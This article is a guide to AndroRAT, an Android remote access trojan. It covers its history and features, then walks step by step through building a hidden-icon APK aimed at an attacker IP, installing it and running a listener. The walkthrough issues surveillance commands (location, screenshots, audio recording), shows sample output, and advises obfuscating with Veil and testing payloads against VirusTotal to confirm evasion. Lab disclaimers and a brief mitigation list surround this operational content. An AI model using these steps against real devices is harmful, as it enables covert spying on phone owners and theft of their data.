AndroRAT: Understanding the Android Remote Access Trojan with Examples

 

Guide to AndroRAT: Understanding the Android Remote Access Trojan with Examples

Introduction

AndroRAT (Android Remote Administration Tool) is an open-source tool initially created in November 2012 as a proof-of-concept for remote administration of Android devices. Developed in Java for the client (Android) side and Java/Swing or Python for the server side, it was intended for legitimate remote access purposes. However, its capabilities attracted cybercriminals, who repurposed it into a malicious Remote Access Trojan (RAT) to exploit Android devices. AndroRAT can steal sensitive data, control device functions, and compromise user privacy, making it a significant threat, especially to older Android versions.

This article provides a detailed overview of AndroRAT, covering its history, technical details, malicious capabilities, a practical example of its deployment, and mitigation strategies. Aimed at security researchers, penetration testers, and Android users, this guide emphasizes ethical use and defensive measures. All examples are for educational purposes and should only be tested in controlled, authorized environments like labs or bug bounty programs.

What is AndroRAT?

AndroRAT is a client/server application that enables remote control of Android devices. Originally a university project by The404Hacking team, it was released as open-source on GitHub, allowing anyone to modify and distribute it. While designed for legitimate purposes (e.g., remote device management), its powerful features—such as data theft, call monitoring, and remote command execution—made it a popular tool for malicious actors.

AndroRAT exploits vulnerabilities like CVE-2015-1805, a Linux kernel flaw disclosed in 2016, to gain root privileges on older Android devices (e.g., KitKat, Jelly Bean). It is often distributed via malicious apps (e.g., disguised as “TrashCleaner” or “Calculator”) through phishing links or third-party app stores, compromising devices without user awareness.

Key Features

• Remote Control: Executes commands via a remote server, controlling device functions.
• Data Theft: Steals sensitive information, including:
• Contacts, call logs, and SMS.
• GPS location.
• Wi-Fi passwords and network details.
• Browser history (from pre-installed browsers).
• Files and system information (e.g., IMEI, phone model).
• Surveillance: Records audio, captures photos (front/back camera), and takes screenshots.
• Privilege Escalation: Exploits vulnerabilities like CVE-2015-1805 for root access.
• Keylogging: Abuses accessibility services to log keystrokes.
• Persistence: Runs as a background service, starting at boot, without user interaction.
• Payload Injection: Binds malicious code to legitimate apps using tools like AndroRAT APK Binder.
• Command Execution: Executes shell commands for advanced control.

Technical Details

• Client: Written in Java for Android, runs as a service (not an activity) to remain hidden.
• Server: Available in Java/Swing (GUI-based) or Python (command-line), manages connections.
• Communication: Uses TCP sockets (default port 1337 or configurable).
• Payload Formats: Delivered as APKs, often embedded in legitimate apps via binders.
• Vulnerabilities Exploited: Primarily CVE-2015-1805 (patched in March 2016), affecting older Android versions (Gingerbread, Ice Cream Sandwich, Jelly Bean, KitKat).
• Repositories: Available on GitHub (e.g., https://github.com/The404Hacking/AndroRAT, https://github.com/karma9874/AndroRAT).

Installation and Setup (Ethical Testing)

AndroRAT is not pre-installed on systems like Kali Linux and must be cloned from GitHub. Below is the setup process for a controlled lab environment.

System Requirements

• Operating System: Kali Linux (recommended), Debian-based systems, or any system supporting Python/Java.
• Dependencies: Java, Python 3, Android SDK, Git.
• Hardware: Minimum 2GB RAM; 4GB+ recommended.
• Target Device: Android emulator or physical device for testing (e.g., Genymotion).

Installation Steps

1. Clone the Repository:

2.  git clone https://github.com/karma9874/AndroRAT.git

cd AndroRAT

3. Install Dependencies:

sudo apt install -y python3 openjdk-11-jdk android-sdk

4. Configure Android SDK:
• Set up Android Studio or command-line tools.
• Ensure adb (Android Debug Bridge) is installed: sudo apt install adb.
5. Build the APK (Manual):
• Open the Android Code folder in Android Studio.
• Edit config.java to set the attacker’s IP and port (e.g., 192.168.1.100:8000).
• Generate a signed APK: Build > Generate Signed APK.
6. Run the Server:

python3 androRAT.py --shell -i 192.168.1.100 -p 8000

Troubleshooting

• Port Conflicts: Ensure port (e.g., 8000) is free.
• APK Signing: Use keytool and jarsigner if Android Studio is unavailable.
• Connection Issues: Verify IP accessibility and firewall settings.

Using AndroRAT

AndroRAT operates as a client/server model. The client (APK) runs on the target Android device, while the server (Java or Python) is controlled by the attacker.

Basic Command Structure

python3 androRAT.py --build [options]

python3 androRAT.py --shell [options]

• Build Mode: Generates the malicious APK.
• -p/--port: Attacker’s port (default: 8000).
• -o/--output: APK name (default: karma.apk).
• --icon: Show/hide app icon (default: hidden).
• Shell Mode: Starts the server to interact with infected devices.
• -i/--ip: Listener IP.
• -p/--port: Listener port.

Control Panel

• Dial *#*#1337#*#* on the infected device to access the control panel (Restart Activity, Uninstall).
• Requires “Display pop-up windows” setting enabled on some devices.

Practical Example: Simulating an AndroRAT Attack

This example demonstrates creating and deploying an AndroRAT payload in a controlled lab environment using an Android emulator (e.g., Genymotion) and Kali Linux. Do not use on unauthorized devices.

Step 1: Setup

1. Start Genymotion:
• Install Genymotion (https://www.genymotion.com).
• Create an Android 4.4 (KitKat) virtual device (vulnerable to CVE-2015-1805).
2. Configure Network:
• Ensure the emulator and Kali are on the same network (e.g., 192.168.1.0/24).
• Note the attacker’s IP: 192.168.1.100.

Step 2: Generate Malicious APK

1. Run AndroRAT:

2.  cd AndroRAT

python3 androRAT.py --build -i 192.168.1.100 -p 8000 -o malicious.apk

3. Output: malicious.apk saved in /AndroRAT/output/.

Step 3: Deploy the APK

1. Transfer to the emulator:

adb install output/malicious.apk

2. Install on the emulator (manually accept if prompted).

Step 4: Start the Server

1. Launch the server:

python3 androRAT.py --shell -i 192.168.1.100 -p 8000

2. When the emulator runs the APK, the server receives a connection.

Step 5: Interact with the Device

1. Use server commands to:
• List installed apps: app_list.
• Take a screenshot: screenshot.
• Get GPS location: get_location.
• Record audio: record_audio.
2. Example Output:

3.  [+] New client connected: 192.168.1.101

4.  Command> get_location

5.  [+] GPS: Latitude: 37.7749, Longitude: -122.4194

6.  Command> screenshot

[+] Screenshot saved: /AndroRAT/output/screenshot.png

Step 6: Analyze Results

• Files (screenshots, audio) are saved in /AndroRAT/output/.
• Use stolen data (e.g., contacts, location) for further testing in a lab environment.

Mitigation Strategies

To protect against AndroRAT and similar threats:

• Update Devices: Ensure Android is updated beyond KitKat (post-March 2016 patch for CVE-2015-1805).
• Avoid Third-Party Apps: Download only from Google Play or trusted sources.
• Antivirus Software: Use tools like Trend Micro Mobile Security or Avast.
• Check Permissions: Review app permissions before installation.
• Network Security: Avoid untrusted Wi-Fi networks.
• User Awareness: Be cautious of phishing links and unsolicited APKs.
• Device Management: Disable “Unknown Sources” in Android settings.

Visual References

AndroRAT’s interface is primarily command-line (Python server) or GUI (Java/Swing). For screenshots:

• GitHub Repositories: https://github.com/karma9874/AndroRAT or https://github.com/The404Hacking/AndroRAT (show server UI and APK generation).
• Medium Tutorials: Search “AndroRAT tutorial” for visuals of the server interface or APK setup (e.g., https://medium.com/@securitygek/what-is-androrat-and-how-to-use-it-101-guide-1b0b4f7b8a9c).
• Hackers Arise: https://hackers-arise.com/post/2023/12/31/android-hacking-with-androrat for setup screenshots.

Best Practices and Tips

• Ethical Use: Only test in controlled environments (e.g., Genymotion, Hack The Box). Unauthorized use is illegal.
• Lab Testing: Use emulators or old devices to avoid real-world harm.
• Obfuscation: Combine with tools like Veil for additional evasion (see Veil tutorial).
• Integration: Pair with Metasploit for advanced payload handling.
• Security: Test payloads against AV (e.g., VirusTotal) to verify evasion.
• Learning Resources:
• GitHub: https://github.com/karma9874/AndroRAT
• Web Security Academy: https://portswigger.net/web-security for Android-related labs.
• TryHackMe: Rooms like “Android Hacking” cover RATs.

 

Conclusion

AndroRAT is a powerful tool that highlights the risks of Android vulnerabilities, especially on older devices. While originally a legitimate project, its misuse underscores the importance of robust security practices. For pentesters, AndroRAT offers valuable insights into mobile security threats, but it must be used ethically in authorized environments. By understanding its capabilities and implementing strong defenses, users can protect against such threats.

Author: Engr. M A Rashid Rony
Date: September 6, 2025
For updates, visit: https://github.com/karma9874/AndroRAT